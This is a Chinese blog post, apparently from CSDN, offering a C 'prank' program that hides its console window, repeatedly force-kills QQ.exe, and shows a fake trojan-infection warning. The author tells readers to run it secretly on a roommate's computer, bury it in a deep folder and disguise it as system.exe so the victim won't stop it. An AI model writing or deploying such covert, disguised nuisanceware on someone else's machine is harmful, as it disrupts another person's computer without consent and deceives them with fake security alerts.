不让登QQ恶作剧小程序

不让登QQ恶作剧小程序

暑假在家看了一些讲C语言的视频,里面讲的东西感觉比较有意思,于是就总结下,并实现了一下。感觉这个程序坑室友很有用又木有。比如,趁室友不在的时候偷偷的在他电脑上运行下,并把程序放在一个比较深的文件夹中,把exe文件名字改成一个比较难以发现的名字,比如system.exe,哈哈大笑,这样一般人是不是不敢乱终止这个进程呢。接下来说说这个小程序的作用,这个小程序就是不断循环扫描电脑的进程列表中是否有QQ这个进程在运行,如果有的话就强制终止这个进程,并弹出一个提示电脑中病毒的提示对话框,当然你也可以什么都不提示,让他一脸懵逼,找不到原因。当然,你也可以把QQ进程改成别的,比如爱奇艺,百度云什么的,自己试试,有些程序可能会关不掉。好了,闭嘴不说了,下面贴出程序源码和一些注释。

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<Windows.h>

//命令行读取进程列表
void execmd(char *cmd, char *result)
{
    //定义一个字符串缓冲区
    char buffer[128] = {0};
    //创建一个管道,执行指令,把管道当做文件来处理,当然你也可以将文件存储到一个txt文件中,在读出
    FILE *pipe = _popen(cmd,"r");

    if(pipe == NULL)
    {
        printf("程序运行失败\n");
        return ;
    }
    else
    {
        while (!feof(pipe))
        {
            if (fgets(buffer, 128, pipe)) //读取文件缓冲区
            {
                strcat(result, buffer); //连接字符串,将结果保存到result
            }
        }
        _pclose(pipe); // 关闭管道
        return ;
    }
}

//隐藏程序弹出的黑窗口
void hide_blackwin()
{
    //改变黑窗口标题并隐藏黑窗口
    system("title NO");
    //这里要用一个小工具查看windows窗口的类
    /*
    HWND FindWindowA(类,标题);
    */
    HWND Console = FindWindowA("ConsoleWindowClass","NO");
    ShowWindow(Console,SW_HIDE);
}

//扫描进程列表
void scan_tasklist()
{
    char output[10240] = {0};  //储存指令结果
    execmd("tasklist",output); //执行指令,将结果保存到output

    /*
    原型:char *strstr(const char *str1, const char *str2);
    作用;找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。返回该位置的指针,如找不到,返回空指针
    */
    if ((strstr(output,"QQ.exe") != NULL))
    {
        //windows命令,强制将一个进程中止
        system("taskkill /f /im QQ.exe");
        //这个是对话框纯属唬人用的,当然你也可以不加
        MessageBox(0,"您的电脑QQ感染木马病毒,已强制关闭!","windows提示",0);
    }
}

int main()
{
    //隐藏黑窗口
    hide_blackwin();
    while (1)
    {
        //扫描进程列表
        scan_tasklist();
        //每隔2s扫描一次进程列表
        Sleep(2000);
    }
    return 0;
}

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值